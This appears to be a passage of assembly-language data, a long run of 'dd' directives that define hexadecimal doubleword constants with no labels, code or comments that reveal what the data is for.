		dd 1C016420h, 0F8E00510h, 0FCC6005Ah, 0A624C1B0h, 5460D8AAh
		dd 62F05110h, 2E31007Bh, 0B144F9BCh, 2B0553E1h,	1F495FD7h
		dd 0DD9A800h, 0C78774C5h, 0F383A9F8h, 82D8A6B2h, 0FA1D90FCh
		dd 6B18FBE9h, 7FBA21h, 0F6A41EB3h, 55FFCA67h, 0B1ACFE05h
		dd 9440F3C8h, 9643A6F8h, 199F759Dh, 84F752Ch, 362180F1h
		dd 0C9B53FFEh, 38264C13h, 4C1F9040h, 84400579h,	0D9F51EB7h
		dd 0C13FFE92h, 0CCC912Ah, 86692634h, 88508030h,	0AB3D9F0Ch
		dd 34038029h, 8F240A0h,	0FBBD0055h, 132E2FC1h, 0A80C8C87h
		dd 0F82344EAh, 0F4A714D3h, 2F238030h, 5B33109h,	80629240h
		dd 0D9B42086h, 0E000C7B2h, 2C0653CDh, 635961h, 9FB58F5Ah
		dd 0A9F9DAE6h, 2730E51Ah, 0A24884A8h, 0BBED3960h, 114CA723h
		dd 31EA0017h, 402522EDh, 0D7BB503Bh, 0A8DB057Ah, 198BA79h
		dd 58FE1390h, 376083C4h, 31CE129Fh, 0AAA98CD9h,	2422CDA5h
		dd 0F83309A8h, 0D6294A57h, 0A6D50928h, 188616B0h, 0A70948EEh
		dd 2F86A299h, 0B1FC8E5Ch, 18F77916h, 0FC07874h,	30EAA909h
		dd 164C016Fh, 58C4027Dh, 808D182Bh, 1E9E8062h, 423C70Ch
		dd 778917Ah, 41AD4C50h,	0F0168718h, 5AFD1B8Ch, 956321C0h
		dd 0C16AD075h, 0FC321211h, 0FBEAD03Ch, 78A7E000h, 0BE96A258h
		dd 0FF8C2AD6h, 0B05C04CCh, 98A5ACFAh, 40160A40h, 7B149D32h
		dd 80F0C840h, 0C043A222h, 0B0B82B71h, 0EE15C606h, 5F01B48h
		dd 55029B31h, 1294012Ch, 30AC4DF5h, 9649C044h, 0D4010038h
		dd 2C2DC1A6h, 0EED906E4h, 611DC784h, 0C283581Ch, 0A737CFC0h
		dd 9093B69h, 0FDDFE3DAh, 0ED2E0430h, 34A7AE11h,	30D68Eh
		dd 0F2EDC2CDh, 57965B6h, 732F45AEh, 72904192h, 0D0280783h
		dd 6E3233E3h, 8ACDB20Dh, 4B00D3C4h, 0B8F7E7Ah, 313A01FDh
		dd 0CE611EEBh, 35F04075h, 7D024F4Ch, 0E8298AAEh, 0DC56C0D4h
		dd 37C50153h, 0EEDD02A9h, 45F0407Ah, 0BB8001ECh, 40076079h
		dd 0ADA71E9Dh, 0E50E1812h, 0A6C12044h, 1EFA0C8h, 3441FFF9h
		dd 5DFE772h, 47018800h,	0F80B5538h, 0D0D740C4h,	819DFA00h
		dd 8BF39C05h, 267C71ACh, 742C4F24h, 2200EF46h, 147457ABh
		dd 91C0957Eh, 2D0BF69Ah, 489800E2h, 4EDFDB4Ch, 0D74CEB9Bh
		dd 8C6EBC80h, 0C2CA9504h, 7892E09Ah, 0BC4474h, 0E10F15D9h
		dd 520D503Ah, 0F6DAAC01h, 73575118h, 0C46460h, 0BB638FBEh
		dd 1D262D1Ch, 10A0EC50h, 0D2E3640Ch, 3021987Dh,	0A7D8DC79h
		dd 934D5A61h, 56FD008Ch, 1175763Eh, 0AAA80344h,	6EE2998Dh
		dd 0D7AC2005h, 61C4681Ah, 46D12038h, 2350487Eh,	0ED34019Fh
		dd 1804A7BCh, 0EBD8A973h, 6CDC60h, 0DF025D38h, 709B58D8h
		dd 39D7CE09h, 38E810FEh, 7E162227h, 4037C300h, 0A0A6DA0Bh
		dd 19786076h, 0A1CE4174h, 3700BAE2h, 34F6DE16h,	2A393A15h
		dd 90E0907Bh, 5DF51608h, 0E6018E2h, 0C159D662h,	312360h
		dd 120AB333h, 8085FBE2h, 2BB2DBBEh, 0BC022472h,	0E97CF8ABh
		dd 0A8F04032h, 52D400FDh, 80C2FFE5h, 5105EA42h,	62F56FBBh
		dd 20AD3882h, 384DAB49h, 1964134Ch, 87092BF3h, 3690824h
		dd 80354DD2h, 0F2004A81h, 0C34CB2CEh, 0FBA90D4h, 710FD261h
		dd 28CC687Fh, 46C462F6h, 0ED2D09FEh, 0C46188A7h, 1211AC6h
		dd 0ACEDC5CEh, 0F8F2BE9Dh, 48D3BB42h, 0D510383Ah, 7F3EC3D6h
		dd 0E98BC8C6h, 164A048Eh, 8506FDADh, 0D3C408FCh, 0D843A4C0h
		dd 0F04F589Ch, 3FFC18E0h, 2D01A80Eh, 0A80B5323h, 0D364A3F9h
		dd 0C1A9C34Ah, 0B08A1429h, 60AC87DBh, 13394DC6h, 9189DF21h
		dd 0A55007E5h, 3DD0454Dh, 3960FBAh, 0B7BD271Dh,	928CBEEDh
		dd 8C5FE08h, 7160ECE4h,	8C0746F3h, 5819A92Ah, 0A816A83Dh
		dd 887D21A8h, 2B4DA880h, 868CAF13h, 6EE144h, 0B1CC4DB7h
		dd 134065D4h, 1CE51613h, 90729444h, 553AF720h, 6C2118B8h
		dd 56602EF6h, 7A001746h, 0A6B9A39Fh, 0CA169DAFh, 600117FDh
		dd 5FF0F516h, 8CAEE448h, 33404705h, 8C38179Dh, 439F0121h
		dd 0BA69D9BFh, 97C2E429h, 0A4003972h, 0A9EC1663h, 0A5DFE437h
		dd 18D64758h, 0C07E1A60h, 0BCC601A4h, 892613D8h, 8E9050BDh
		dd 0AB0563C3h, 2B5B88D5h, 0F223E83Ah, 7694B100h, 287DF6FFh
		dd 5CB87408h, 0C6804871h, 91D898Fh, 0F0876CB8h,	6C60E644h
		dd 0E0000B1Ah, 7E0EA407h, 6E262B37h, 701FC9BDh,	0FA61C190h
		dd 0F3387964h, 88C8788Bh, 900B35C3h, 1E4EEBFDh,	86D41302h
		dd 68FFBD0Eh, 2679A509h, 0D924919Bh, 8BC3048h, 0CF13374Dh
		dd 5249E3C4h, 548F6482h, 576DC07Dh, 594412F9h, 0BFBCC44Bh
		dd 0ABF467C1h, 0E1275096h, 0FE3CDCB4h, 30F50B2Ch, 951818ACh
		dd 1CF9F280h, 413CD57h,	80041F55h, 73AD83Ch, 4C208B59h
		dd 431AE838h, 0B31828D8h, 39F17630h, 143A4FD5h,	34AD3B25h
		dd 82109164h, 0A530B018h, 9D951243h, 33743847h,	0FE3FFD00h
		dd 153BDF57h, 0EFB102E8h, 0A973D8A2h, 1451ECCAh, 9C186879h
		dd 576F0F00h, 1DAE3D0Ah, 204CA5Dh, 829184DCh, 0F4D101A7h
		dd 0E6EF97EAh, 4634C41h, 28C18E8h, 0DD5EB4C2h, 0C464396h
		dd 5321575h, 7D8F78F2h,	0D811A160h, 7851E900h, 41D4A03Eh
		dd 0D174B1ABh, 13E818E1h, 4451C80h, 1D8BBDF4h, 39DC01FEh
		dd 0ACDFD107h, 80FCD191h, 0A7C1ED2Fh, 0C64CB11Ch, 150020D0h
		dd 9D2DAA11h, 3C087894h, 90F67B9Fh, 6B689450h, 952D1002h
		dd 0D4FBE4C8h, 0BCE5A601h, 3AAD7CFFh, 0F37D1884h, 5A50A47Fh
		dd 3200E8ECh, 0A3D4750Eh, 7863AC9h, 72CF5193h, 0C6580CAh
		dd 2D1354F8h, 44C053E5h
		dd 83C274BCh, 0D8239198h, 697940B9h, 0A4016F18h, 0C0495EBh
		dd 64398E56h, 0DC34F32Ch, 5A4C7504h, 6104682Ah,	0D064B4FFh
		dd 320DD714h, 0B3C29D50h, 31BA1209h, 0DAB51064h, 3E9E00B2h
		dd 0F7FEB187h, 31ED457Ch, 0E2420C4h, 6800194Fh,	0D590884Fh
		dd 35D63F3Ah, 3C5804D8h, 0D84318B8h, 273FA1Fh, 0DEC77FAAh
		dd 0FB9AC848h, 0B37EA978h, 2FD7F700h, 3732BCA2h, 8D8B24FCh
		dd 154240ECh, 9D0A3D73h, 0CC86BD62h, 517B5C02h,	42F88736h
		dd 0EFC1852Eh, 0ED74B081h, 0CEDC838h, 3C051354h, 0A0AECF8Bh
		dd 87DA08D1h, 4D04BD0Ch, 89D7133Ah, 4F20DF32h, 4FB4DA4h
		dd 294511E4h, 9D2880E6h, 87402212h, 41E00155h, 0BC8031E9h
		dd 0A238331Bh, 0D33B3065h, 0B143D02h, 6AE68D8Ch, 44A067DCh
		dd 0CB9960EBh, 64F604FCh, 8CF70FFDh, 1E8CC678h,	0D2A5B396h
		dd 0C12838DAh, 0E8B37E00h, 3C928463h, 807CB4F8h, 0F5D0CF8Fh
		dd 6302AE3h, 4AA43174h,	0F8890075h, 40153756h, 164A99A5h
		dd 71EB9402h, 1168972Ch, 59EB80EEh, 125DC67Fh, 13D46C28h
		dd 6758005Ch, 5B018970h, 14D493Bh, 9324BAFCh, 4182E244h
		dd 2AF50725h, 33AB3461h, 0D81AA164h, 7024030Ch,	0C30294F4h
		dd 477A325Fh, 60E4C4F8h, 0A6CC965h, 0FF391795h,	49771344h
		dd 9CC510B4h, 0C064EBE4h, 0A5B82F11h, 0A750E878h, 2D8892BCh
		dd 270E003Ah, 0ACB561E9h, 4E5DF53Ch, 1CC71970h,	0E5FCD349h
		dd 0FA243865h, 0B8424984h, 880CCE29h, 2088C719h, 4F453AC8h
		dd 0BDFD24B2h, 0F29A271h, 0FE688EBDh, 6F01440h,	3C00B36Ah
		dd 5C0A5915h, 9857AD9Bh, 0C32165Ch, 0F20800D5h,	0B334107h
		dd 0C695BC04h, 0A0C09809h, 5596321h, 0FCA63EBBh, 0D9DCC9DFh
		dd 0AC7E0862h, 4DA904D4h, 0A2B7132Eh, 0B06BC010h, 70FD4Dh
		dd 0F9D57445h, 5E992564h, 73A87B50h, 5A2C9E5Dh,	6423C02Fh
		dd 0B6569800h, 704391Eh, 0FEEB9B5Fh, 0D009494Eh, 6B91F817h
		dd 0ABC70E9Ch, 7D121881h, 9FA03431h, 78B2C2EEh,	0E2F99C09h
		dd 11009DA5h, 7F539C6Bh, 11E3F200h, 0D393F5ADh,	8BC08460h
		dd 0C064C874h, 0A33CD54Fh, 1542E00h, 51CCBB4Ah,	54002F4h
		dd 0C4EA74BFh, 532088D8h, 0AB8C1229h, 61C5385h,	201E44E4h
		dd 18B15C7Ch, 5DFE9700h, 38A926F3h, 5CC2BD05h, 8C18AC58h
		dd 0F79BB500h, 71A77A5Fh, 0FC8C511Eh, 3B004436h, 0D7E20370h
		dd 649E3E0Bh, 65465Eh, 99E50250h, 3D51183h, 77FDB715h
		dd 0C78875A0h, 637DC661h, 0A4ACFB13h, 40090860h, 0E79D2331h
		dd 1F01F211h, 467B43A1h, 0CBA4705Fh, 873A1503h,	27649294h
		dd 0ECAA75C8h, 9D8E0094h, 0A4D290D4h, 78452B35h, 0F02CE4B1h
		dd 38CE2BCh, 0C191418Fh, 390FAB9Dh, 1F38F7F9h, 5F17A75Fh
		dd 542C9821h, 0C6E1A4E5h, 40BFD442h, 14B7D150h,	84B650F5h
		dd 9C38424Eh, 8605E05h,	744FEB73h, 7E00B86Eh, 0E15676Ah
		dd 44BE29F9h, 2D003891h, 0F5666D6Fh, 0FF02D7C6h, 7D1E60BBh
		dd 3DCDA74h, 9161F884h,	53FAF9F5h, 0AE3B082h, 30DC2840h
		dd 87C05B25h, 34A0E294h, 0D13D71h, 0B1A69B1Bh, 1D86E341h
		dd 0A71736EAh, 8C26699h, 0D97C790Ah, 0BB818EFh,	0C14411AAh
		dd 26A01108h, 84467420h, 90888117h, 6C86FC90h, 57710600h
		dd 920F0BBEh, 0DC5E53C1h, 30D43C00h, 0D7317558h, 2D355F3Dh
		dd 11E81DBFh, 39A68068h, 1467F6E5h, 0B82BB589h,	9321D2C0h
		dd 1A108C95h, 0E513737Fh, 9B8CCC0Ah, 18B50226h,	1DFD5C81h
		dd 7C358A0Fh, 11447BE2h, 43A380AAh, 0B4F79CD7h,	0FB355884h
		dd 3CC93F06h, 917076h, 67DC095Ch, 2CF76E8Dh, 26B60E00h
		dd 694432E0h, 95F5043Eh, 0F28C537Dh, 3FD5C758h,	0FA74E152h
		dd 528A0094h, 7DB74140h, 67030ABAh, 6D6ED97h, 938798A4h
		dd 26309079h, 457454FAh, 27C441E8h, 62111C12h, 3D682344h
		dd 0D2A3B29Eh, 7D64CBEAh, 78B38001h, 0BBC4346Bh, 989D3030h
		dd 9C7350DBh, 0A0435C8Ch, 3102049Fh, 0F4F80011h, 0B6543295h
		dd 0EB46742Ch, 1BDF17h,	5C7402Bh, 970047E7h, 0BD51B846h
		dd 9D6DBCBh, 0F7A705Fh,	6B64DCC7h, 3BDC4660h, 0FF974E03h
		dd 38F6554h, 93251BB0h,	0DE9598ABh, 955C0B4h, 6DC6EFh
		dd 4AB790AEh, 1D59FD9Ah, 0C2B8915Ch, 78B51A26h,	74277208h
		dd 60D4AFA3h, 0FCA43A41h, 53A5658h, 1C1D0726h, 4A72C805h
		dd 7CD9ACD1h, 83F6432h,	3C65CE00h, 9A3DF409h, 0DB95F600h
		dd 0ECAD340Ah, 64574FEBh, 23E42EB8h, 160700EEh,	7C8B72FFh
		dd 0D9A4E202h, 78D0EA9Ah, 32BD1220h, 0EF7C907Dh, 48B8F6F7h
		dd 7E4F770Ch, 9A9A98Fh,	967D54F8h, 676DF868h, 0FDBA4704h
		dd 0C0AD01F0h, 100F2AE8h, 64D91B82h, 50B4BA26h,	7D7B1898h
		dd 30757038h, 18125C34h, 86E08CA6h, 0BE0330AFh,	5516FEF2h
		dd 1D199915h, 21C8B893h, 203805B0h, 0D8308846h,	8D9518F5h
		dd 7A0D003Ah, 9B7519C0h, 0CC0E4ED2h, 0C12FAA5Dh, 73C17DEDh
		dd 3428C061h, 18CE2ECh,	0A924BFA2h, 7267FA91h, 3CD24A60h
		dd 0F86640h, 2D2B8350h,	24C1DA11h, 7E7BA305h, 0E40109C3h
		dd 40501530h, 0F0BC4078h, 7C6D788Ch, 0DC455C5Bh, 1A2C5C10h
		dd 0D148C372h, 0D774D028h, 0CF860186h, 1A4960D3h, 6052F5ADh
		dd 0A24C580h, 4674680Eh, 261E07EDh, 3871A5E3h, 0DFD9CA72h
		dd 0F9B03C26h, 0A5099FDFh, 5A7E12CFh, 0C810E30h, 9DA19037h
		dd 0D86D9ABBh, 960035A7h, 537104EEh, 239C140h, 99A6D170h
		dd 0D88F6F3Eh, 8E560525h, 0C0EE885Ch, 5B9E0E9Ah, 0AD167EF2h
		dd 548832B1h, 85261614h, 0B364C113h, 0B8902CF5h, 57008C87h
		dd 0E926249Ch, 0BF7FD3h, 52D51895h, 0C841CDDFh,	97F6E02Dh
		dd 80E41148h, 3DCB281Ch, 43F20958h, 8045FAAEh, 0C660F1C4h
		dd 16181301h, 99E9BEADh, 0EE49476h, 268C2B35h, 511C9B31h
		dd 4B806D6Ah, 209492E0h, 81BC006Bh, 427DF3A1h, 0AB047CE9h
		dd 35261803h, 9211F091h, 50A199F5h, 18E67174h, 8AB2029Ah
		dd 833B0FCDh, 2005B0E2h, 9BE8C216h, 5C0DA052h, 79F0E105h
		dd 0D069FA20h, 88BCDC79h, 431D008Ch, 774C59E3h,	3901615Dh
		dd 0D0AF1CF2h, 0AC2879DCh, 1F8C1BBCh, 45C1DB0Ah, 0D0D143B2h
		dd 981BD410h, 0AE695319h, 6C680C10h, 4242F03Ch,	3084E2ECh
		dd 8C90CD8Fh, 84E8BCB4h, 4DF465Ch, 4EFF6D7Ch, 3B838ADh
		dd 0F1B1600h, 0ED39E35h, 2080B0D4h, 6C986F04h, 0B5803174h
		dd 6E7E5A73h, 0DACB003Ch, 3AF9F256h, 16F8F2A7h,	464E157Ch
		dd 5860C198h, 3A02A146h, 54A7C2EDh, 0E960CCF1h,	50ED2Eh
		dd 0B9C9445Eh, 9F852264h, 15425800h, 0FF1AD849h, 981B4080h
		dd 142E27F8h, 0F0AEC885h, 82465Eh, 0B6E85BB4h, 11A70B9Fh
		dd 7B03E5h, 96D290D5h, 2B58DC7h, 22761CABh, 54D286A4h
		dd 2EA73844h, 0A6B07E91h, 9D5802B8h, 245E5DCAh,	7D349127h
		dd 0DEF80F15h, 787C29B6h, 30CEBDCCh, 991B0D7Bh,	0C8508342h
		dd 4E791FAFh, 359404AAh, 849C8E40h, 8430D773h, 9418A23Dh
		dd 810E0D25h, 8019258Eh, 0F53A1C83h, 20ADD1D6h,	0AFA480E0h
		dd 910E1218h, 61D0B0E1h, 3A20A295h, 5AE444FAh, 71CC40C7h
		dd 0E7898E40h, 7768FD00h, 0AA02C9DBh, 90732E67h, 0B444ADCh
		dd 44453E6h, 950FC346h,	3269A8B3h, 0C060C4F1h, 7BB37Dh
		dd 69D6220Bh, 7F12483Eh, 7547FE00h, 9E6DEF9Ch, 955F0D0h
		dd 89F5B7BDh, 0AD34AC03h, 0E304388Fh, 0BC9070D3h, 81BF1AF4h
		dd 0BCEC284Dh, 37008CEEh
		dd 0CEDF9B3Eh, 19FFC798h, 684D8554h, 0E2486875h, 8C1D2B21h
		dd 0B280EE11h, 0F757E456h, 5BF3FC16h, 48236489h, 173084A2h
		dd 607CB4D1h, 639B8EC1h, 0D4A2F9E4h, 4674205Ch,	0F5501EFh
		dd 20408F6Ch, 4AB89C7Dh, 551A2970h, 56E03735h, 0F4C80C28h
		dd 99258D68h, 0C340C3FAh, 0ABADD18Ch, 0F9E21063h, 0B86730h
		dd 4A086261h, 96788A0Ah, 0D0E5AC0Ah, 382E8C28h,	7B3201DCh
		dd 36E0A851h, 70F9C549h, 7F404AD4h, 0C3230C95h,	71F9E773h
		dd 487424E3h, 0D9599900h, 2CD6313Dh, 657954h, 913A25Fh
		dd 9B32DCD4h, 40C10225h, 28451680h, 12D8F7CEh, 0C104FF1Dh
		dd 2E2D0BF4h, 44F82C24h, 0D84318ACh, 34CB830Dh,	128C200Eh
		dd 12EA7740h, 55E3A60h,	9BFAAF40h, 3F1480C8h, 21B542Bh
		dd 61262D30h, 7C7271C9h, 0B684047Ah, 6E46566Ch,	107D4871h
		dd 392F4B7h, 0DB0DB7D1h, 877006F4h, 28948A6Ch, 0AC0B80FAh
		dd 6DBDDE54h, 901C014h,	11E8C464h, 0E979DB07h, 4D304219h
		dd 0F6E9EE8h, 1CFAFC86h, 17E8C814h, 5FE4008Ch, 6CD99FA5h
		dd 8CA4B827h, 0D0518C01h, 4201342Bh, 28FC030h, 59939035h
		dd 10FB5EB2h, 7878D70h,	0D5352FC3h, 0E401C9A6h,	0AC83C7h
		dd 3396B42h, 22FFA2A0h,	9DE00352h, 0F766AE2h, 3D010A77h
		dd 1E614517h, 3A3AC97Ah, 8823B8h, 948653C2h, 0C700667Ah
		dd 0D2FCCAC5h, 28BC3731h, 4B040AAh, 5FD6E81Fh, 80B8D551h
		dd 98EEC210h, 0F8CFA52Bh, 0F437800Ah, 0B1B8C625h, 0D8197084h
		dd 38D17286h, 1EF90149h, 0D43113B1h, 2C43F09Fh,	79301AE2h
		dd 20155B52h, 0EBB56264h, 0BB378800h, 52D4F2C4h, 0BC2901D7h
		dd 73C9825h, 5C452AE4h,	0AC41AB9Ah, 6A140DB8h, 0CAA7F09Ch
		dd 1EC0A136h, 3E101204h, 1F8223ACh, 0BD51C0D1h,	711F9C39h
		dd 13643E5Dh, 306F61A9h, 79CAAD00h, 5EC1559Fh, 0EF81F09Eh
		dd 0BA93171Ch, 0BFF8DC4Dh, 0EC570043h, 38043963h, 0CF09AE9Fh
		dd 324F3DBBh, 704C7BB8h, 0F713656Fh, 0B009D5F8h, 0A3B50122h
		dd 0A42069C6h, 57BB108Fh, 8C65E87Ah, 0DB6CD302h, 45501541h
		dd 5415ADCCh, 9B808291h, 98E41E0h, 0A487D30Bh, 12045836h
		dd 0A2DD2633h, 0E8BC4C60h, 0E30A8CE0h, 0D426720Ch, 0A7C78D80h
		dd 3FAFDFE5h, 7A070FBBh, 1C250E16h, 0A90B2F68h,	0C210CA12h
		dd 0D68C5EE4h, 0ED5E9F00h, 4726C4A5h, 616C9070h, 9B4A810Fh
		dd 6AF4219Eh, 91C2C31h,	0B0A24F70h, 7DD6254Ch, 5860D827h
		dd 11E01749h, 48B48118h, 0A5702ECDh, 4564E91h, 0BDFE39FCh
		dd 991F0D60h, 2C2619E2h, 2D483B24h, 0FA45020h, 8A639A79h
		dd 0B88C0928h, 65C0D1CBh, 8210492Ch, 6476DDE0h,	650780Bh
		dd 3C41BC7Ch, 3BF7611Dh, 0C5984387h, 61348CDh, 0C7C4229Dh
		dd 0C0604A28h, 5FDFD4h,	25AC16Fh, 0C9A0F6DCh, 0CC908C5Bh
		dd 9E7CEE14h, 0D61109DCh, 0E17918F9h, 0CB000A18h, 2B429A7Ch
		dd 18FB4A6Ch, 59192615h, 88009C8Fh, 58F5480Dh, 0EAFD76h
		dd 0EDE7EE9Eh, 0C6E45E80h, 8EE99C00h, 39D6668Ch, 244A004Eh
		dd 0AD646B06h, 0CF0005DFh, 0AA10D4Dh, 72DE75Dh,	2C35535Fh
		dd 1C8EC095h, 41D6E49Bh, 2BB8A800h, 33D76A73h, 0D9096B5Fh
		dd 0B8F42170h, 9633DE00h, 0DF12DC3h, 0C06300EDh, 0C63A1A8Eh
		dd 0A4006AF0h, 0AD499EE7h, 18EC04FAh, 40ABC82Dh, 32002EC0h
		dd 28262122h, 660DE3FFh, 21780838h, 22037D90h, 9C2D467Bh
		dd 0D7900F7h, 3A13730Ch, 4906B6A6h, 9620D15Fh, 631606C0h
		dd 89F88715h, 0A52AEC00h, 44772F3h, 9F6B1DABh, 21851807h
		dd 0A57C122Dh, 0D6F80E00h, 72623B06h, 0EC670325h, 3AFA87D8h
		dd 40EEE999h, 347721B4h, 1D18EB60h, 83B86Bh, 510918ABh
		dd 0FBF043F9h, 5E1A1300h, 0A026440Bh, 182900DBh, 8611BB5Fh
		dd 0FBFC0E62h, 3D1F9F44h, 0AC008873h, 0F9C16099h, 0C801F89Ah
		dd 0ADE41AA9h, 0F44A658Fh, 1C8CB963h, 62935DA0h, 230611C0h
		dd 0F3CC5ECh, 0E4F84B2Ch, 80080819h, 0EC1AA321h, 0AF3FF7h
		dd 0E4CF2C24h, 0D3BAD4EFh, 9FB89E54h, 6BE07B00h, 0F183A1C7h
		dd 2D7D0F91h, 8D601F0Dh, 6395D09Bh, 0B9301114h,	1C8E28ECh
		dd 69BD6E30h, 0A83D8739h, 0C4CA398h, 0EC2C63D6h, 670623B8h
		dd 0FA881084h, 229420D8h, 250B3801h, 0FDFC5B63h, 516B29F8h
		dd 45F184D7h, 53087D8h,	643DE9B6h, 39803260h, 8EC2730h
		dd 4A4C3C31h, 0BFED62h,	20EC1E9Fh, 0A0195D7Ch, 9E19EE6Bh
		dd 0EFC900EFh, 4AC51C54h, 0C0022869h, 0D6033EFCh, 0EF748167h
		dd 3420C490h, 9493C7h, 7348ACF1h, 8085D802h, 0C1B83A2Fh
		dd 0BBB8113Dh, 5285B200h, 608FC0B4h, 0A28A2428h, 0CD6D0300h
		dd 0D11D5F7Fh, 0CA145266h, 0ACF08034h, 425A7345h, 392EC0D7h
		dd 298A3B8h, 0D03A811Dh, 9090609Fh, 0DB066D40h,	34C2E061h
		dd 0C960C870h, 46ACEFC0h, 64125273h, 2909D422h,	1869B838h
		dd 0F5D918h, 4E409D53h,	943CC91h, 0ECA57800h, 8583BABDh
		dd 95892F6h, 4A727664h,	26A63880h, 70014588h, 1BB27508h
		dd 2980F987h, 4C44F5AFh, 30244DDAh, 0F11D9C3Dh,	82BC60Ch
		dd 2D25181Ah, 1F26102Ah, 3046F890h, 36A5047Ch, 32079F76h
		dd 13CC20F0h, 0C40518A5h, 10D66779h, 423A583h, 4F19ED48h
		dd 733C82DAh, 492E6DC1h, 0A0788A94h, 0C904A0D2h, 0BB4894BCh
		dd 2CB835C0h, 0D0625673h, 2B0FE222h, 60DBB85Eh,	0D0C749F2h
		dd 3070EACCh, 65687CFEh, 1912F9CEh, 6C603BC0h, 102FEC1Dh
		dd 0C84B1C3Ch, 14A181E9h, 0E5C90EECh, 5F9E202Ch, 0A677253Eh
		dd 530554DEh, 0D840A9D2h, 0E443A70Eh, 34BB74C9h, 0C019A6D3h
		dd 12EEDBE1h, 0FE8A7301h, 7044B423h, 0FD18431h,	9884D821h
		dd 83B3519Fh, 52F97380h, 55C32A2h, 0A9C961B6h, 8523C83Ah
		dd 0D2B89B01h, 91F8CDDAh, 6F210695h, 79845ECFh,	1883856h
		dd 3C30EC26h, 70C4834h,	19A021C0h, 5B9FECh, 5404AC89h
		dd 438169EDh, 7262005h,	8C03F148h, 0E16DB0E4h, 0FD4046A2h
		dd 133D2989h, 894660Eh,	8BCD454h, 1EF6D6Eh, 0D79C3137h
		dd 0C89C42A5h, 0F11F0C64h, 0C24B86Ah, 11101769h, 0C84483D4h
		dd 0E25100A0h, 320A4B4Ch, 0F200C599h, 0AF749163h, 3D3AA205h
		dd 9060F57Fh, 0EA70D2F0h, 6BC4A750h, 0D929D112h, 0BE9C6005h
		dd 3DE18801h, 58838DDBh, 0F752F973h, 88752006h,	9138489Ah
		dd 18D4D134h, 27E0F864h, 6DDEE142h, 67F97D0Fh, 8BC01ADAh
		dd 0B1C064EBh, 1884D9C8h, 1BBF00E0h, 26DC5591h,	4506A3B5h
		dd 0EB5D6ED6h, 4F2B0928h, 100F9AD2h, 7E2AF103h,	7075410Eh
		dd 0D3D878C6h, 3CB212h,	0C27D515Dh, 0A9452C85h,	943A2977h
		dd 8E51E1CDh, 0A824D793h, 0D6E9073Eh, 7AED377h,	0F6A2709Dh
		dd 1E289C01h, 0A1FA808Fh, 2770D4A8h, 0C26C8600h, 9783F74Ah
		dd 0E42EFEEDh, 0D4E012B3h, 620812DDh, 0F330BDE8h, 732A13ACh
		dd 251838F2h, 33B83C01h, 7EE12DA5h, 0C70AAF9h, 79D506CDh
		dd 89A276D6h, 0C06D9F2Ch, 0DE897F61h, 94A40405h, 4648509h
		dd 1F3691Ch, 0C166CD0Dh, 5F3CD083h, 180BBEF9h, 1DAA6008h
		dd 80E21170h, 0E1C837ADh, 0C1BD00E9h, 9FEF22A9h, 4CA81378h
		dd 8F808961h, 17AC260Ah, 5EE4A62Ch, 0A006EB46h,	0C06275E2h
		dd 0C1F58738h, 0ED7CDC41h, 7B1B7C34h, 4AD3E824h, 3E2847A7h
		dd 0F0C3A074h, 0D113EB1Ah, 5C0207F1h, 50A39C32h, 2E524A4Ch
		dd 0DE2384h, 524C8642h,	0A09F35Ch, 227BCB8Ah, 0ABD648h
		dd 6315FECEh, 80881E49h
		dd 72F0A545h, 86448C2Fh, 0A52D073Ah, 42CDA31Ah,	0E0505191h
		dd 0B12A9A00h, 66DC1E8Ah, 8040EB89h, 58AB6A9Fh,	0DDBCEC4Dh
		dd 0EACC008Ch, 0B47C6FFDh, 1209600Fh, 1865F0BCh, 623D02Ch
		dd 0E1673CADh, 0CD1370D8h, 783A5F92h, 65008C76h, 9376195Dh
		dd 0E86AEE4Bh, 43550253h, 0EF217330h, 3C0BCCA1h, 0A47DF16Fh
		dd 0CE02D470h, 0A0E285C5h, 515E8090h, 0A70C0011h, 92620EB4h
		dd 311BA032h, 0C471DA9Bh, 35B741C0h, 0F6E400C2h, 3765346Eh
		dd 88002FB6h, 765EE2E3h, 0A04D1270h, 5CF126D4h,	231A1AD4h
		dd 88469ECh, 0B5040F2h,	7401610h, 78CD46E4h, 0CAB4D1D0h
		dd 0DC5C2065h, 70914A06h, 1350443Eh, 31FA24F1h,	62415A50h
		dd 0E9EE089Ch, 0EF4676C8h, 0DDF86100h, 6D2498BEh, 86452312h
		dd 8523C40h, 0AE77162h,	0E1873B9Dh, 0EEF4002Ch,	9550ADD3h
		dd 9400A198h, 217A02D4h, 5C51FDCFh, 2D0937BCh, 2C824AA7h
		dd 0B852EA18h, 22273C46h, 1417ECFCh, 20CF4C62h,	0B3EC15A4h
		dd 0B67DD602h, 901B6314h, 0BA52C70h, 4177635h, 2B1CD496h
		dd 88C7A514h, 6A10ECDFh, 0ABBD63Eh, 0AA22E075h,	0A88209A0h
		dd 124CEC2Ah, 8888CB19h, 0EF5AC007h, 0E900AF0Dh, 48066D68h
		dd 49DD7F64h, 2ED370DFh, 2FDC2390h, 3A7131D8h, 558F638h
		dd 8CD7496Ch, 0EB88F0CEh, 977195C0h, 84BD58F0h,	13457C40h
		dd 3F67C07h, 3697DA78h,	3EB250B0h, 0B70D90A0h, 4C3BDB17h
		dd 234E0043h, 0AE8AB9Ch, 0EACD65A9h, 8215C48h, 210D80C0h
		dd 65A7DC51h, 7DC59203h, 77CD359h, 61E06A99h, 9D3AADh
		dd 0FC31D9E8h, 0AF00BA0Ah, 0CDB66D98h, 0F97E78D6h, 249FA3ECh
		dd 0A434EC7Ah, 8AF90454h, 0DB00C003h, 78657E88h, 50814BD0h
		dd 0D0364DACh, 8F621BE0h, 4C24A92Ch, 0C9EB8989h, 21183724h
		dd 3C71BF90h, 0FD58249Ch, 0C7EC3B18h, 838E8ACh,	0BC02D86Ch
		dd 0C785117Fh, 985E1170h, 2B3CC240h, 80304B24h,	0AFEC33A6h
		dd 91D21B1h, 0F340B452h, 757CB56Ah, 0D4712ABh, 23A83AECh
		dd 57A20085h, 0A1006EDh, 8601400Ch, 6821DCh, 764FAE22h
		dd 0BF0421CFh, 0D7420700h, 0D5BE7ACBh, 1DEF4ED1h, 326D8AF8h
		dd 6B0880F4h, 93774CCDh, 46E10C64h, 43B93480h, 0A00E4CF1h
		dd 662A6480h, 4404F888h, 19AC234Bh, 9C8028DBh, 0DB806B1Dh
		dd 0D04DD200h, 0EB6C72E0h, 4BAB015Fh, 0F022699Fh, 0B3C4227h
		dd 89297CE0h, 2879E780h, 0ACC0E84h, 0D0C9306Eh,	0EE465C44h
		dd 48265904h, 4EE8C10Bh, 0CE6D0031h, 70F0B314h,	0DA02249Dh
